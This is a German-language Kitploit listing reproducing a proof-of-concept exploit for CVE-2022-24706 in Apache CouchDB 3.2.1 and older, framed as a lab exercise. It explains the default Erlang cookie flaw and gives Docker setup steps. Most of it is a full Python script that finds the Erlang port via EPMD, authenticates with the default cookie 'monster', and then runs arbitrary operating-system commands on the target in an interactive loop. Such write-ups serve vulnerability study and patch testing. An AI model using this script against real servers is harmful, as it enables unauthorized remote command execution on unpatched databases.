Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-24706 — Proof-of-concept Exploit für CVE-2022-24706, der Apache CouchDB 3.2.1 und niedriger betrifft. Demonstriert die Remotebefehlsausführung über das Erlang Distribution Protocol unter Verwendung der Standard-Cookie-Authentifizierung. | Kitploit
Tools/GitHubGitHub/junghyeonkum/cve-2022-24706
SchwachstellenanalyseExploitationPenetrationstestsLernen & BildungRemote-Access-ToolDatenbanksicherheit
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Proof-of-concept Exploit für CVE-2022-24706, der Apache CouchDB 3.2.1 und niedriger betrifft. Demonstriert die Remotebefehlsausführung über das Erlang Distribution Protocol unter Verwendung der Standard-Cookie-Authentifizierung.

Repository anzeigen
23vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-24706

Mitwirkende

  • 화이트햇스쿨 4기 39반 금정현(@junghyeonkum)

CouchDB Erlang Distribution Sicherheitslücke für Remote-Befehlsausführung (CVE-2022-24706)

Zusammenfassung

Apache CouchDB ist eine Open-Source-dokumentorientierte NoSQL-Datenbank, die in Erlang implementiert ist.

Da Apache CouchDB in Erlang entwickelt wurde, unterstützt es nativ verteiltes Rechnen (Clustering). Cluster-Knoten kommunizieren miteinander über das Erlang/OTP Distribution Protocol, und über dieses Protokoll können Betriebssystembefehle mit den Rechten des Benutzers ausgeführt werden, der CouchDB ausführt.

Um Betriebssystembefehle auszuführen, muss man die Authentifizierungszeichenfolge (Secret Phrase) kennen, die in Erlang als Cookie bezeichnet wird. In CouchDB-Versionen 3.2.1 und früher ist der Standard-Cookie-Wert bei der Installation auf monster gesetzt, und ein Angreifer, der diesen Wert kennt, kann die Authentifizierung umgehen und entfernte Betriebssystembefehle ausführen.

Quellen:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

Umgebungsanforderungen

Für diese Übung wird folgende Umgebung benötigt:

  • Docker und Docker Compose müssen installiert sein.
  • Für die Ausführung des PoC muss Python 3 installiert sein.

Auf macOS mit Apple Silicon (M1/M2/M3) können plattformbezogene Warnungen für Images ausgegeben werden. In den meisten Fällen emuliert Docker Desktop automatisch amd64-Images, sodass keine zusätzlichen Maßnahmen erforderlich sind. Falls der Container nicht ordnungsgemäß ausgeführt wird, kann die Option platform: linux/amd64 zum couchdb-Dienst in der docker-compose.yml hinzugefügt werden.

Falls Python 3 nicht installiert ist, kann es mit dem folgenden Befehl installiert werden:

sudo apt update
sudo apt install -y python3

Umgebungseinrichtung

Führen Sie den folgenden Befehl aus, um die Apache CouchDB 3.2.1-Umgebung zu starten:

docker compose up -d

Sobald der Dienst läuft, werden auf der Ziel-IP die folgenden drei Ports geöffnet:

  • 5984: Apache CouchDB-Weboberfläche
  • 4369: Erlang Port Mapper Daemon (EPMD)
  • 9100: Cluster-Kommunikations- und Laufzeitverwaltungsport (tatsächliche Befehle werden über diesen Port ausgeführt.)

In der tatsächlichen Umgebung sind der Weboberflächenport (5984) und der EPMD-Dienstport (4369) festgelegt, aber der Cluster-Kommunikationsport kann bei jedem Start variieren. Daher kann auf den EPMD-Dienst zugegriffen werden, um die aktuell verwendete Cluster-Kommunikationsportnummer zu ermitteln.

Wenn Apache CouchDB ordnungsgemäß läuft, können die Versionsinformationen unter http://target-ip:5984 eingesehen werden.

Betroffene Bedingungen

Diese Schwachstelle tritt auf, wenn die folgenden Bedingungen erfüllt sind:

  • Apache CouchDB Version 3.2.1 oder älter muss ausgeführt werden.
  • Die Erlang Distribution-Funktion muss aktiviert sein.
  • Der Erlang-Cookie muss auf den Standardwert (monster) gesetzt sein.
  • Der Erlang Distribution-Dienst (EPMD) muss zugänglich sein.

Reproduktionsschritte

  1. Führen Sie den folgenden Befehl aus, um die anfällige Apache CouchDB-Umgebung zu starten:
docker compose up -d
  1. Während der EPMD-Dienst (4369) läuft, führen Sie den folgenden Befehl aus, um den PoC durchzuführen:
python3 poc.py target-ip 4369
  1. Der PoC fragt vom EPMD-Dienst die aktuell verwendete Cluster-Kommunikationsportnummer ab und führt dann die Authentifizierung über das Erlang Distribution Protocol mit dem Standard-Cookie (monster) durch.

  2. Nach erfolgreicher Authentifizierung können Sie einen gewünschten Betriebssystembefehl eingeben, um die Remote-Befehlsausführung zu überprüfen.

PoC-Code

#!/usr/local/bin/python3

# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time

# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷

# Erlang 인증 및 제어 메시지
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD) 

# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Erlang 노드에 접속
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)     
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]


# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0

# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] 
        s.recv(45)              
        data_size -= 45         
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        time.sleep(0.1)
        print(data[3:].decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        time.sleep(0.1)
        print(data[4:].decode())
        data_size -= 1024

Ergebnisse der Ausführung

Als Ergebnis der PoC-Ausführung wird der Cluster-Kommunikationsport über den EPMD-Dienst erfolgreich ermittelt und die Authentifizierung über das Erlang Distribution Protocol wird mit der Nachricht Authentication successful bestätigt.

Tool herunterladen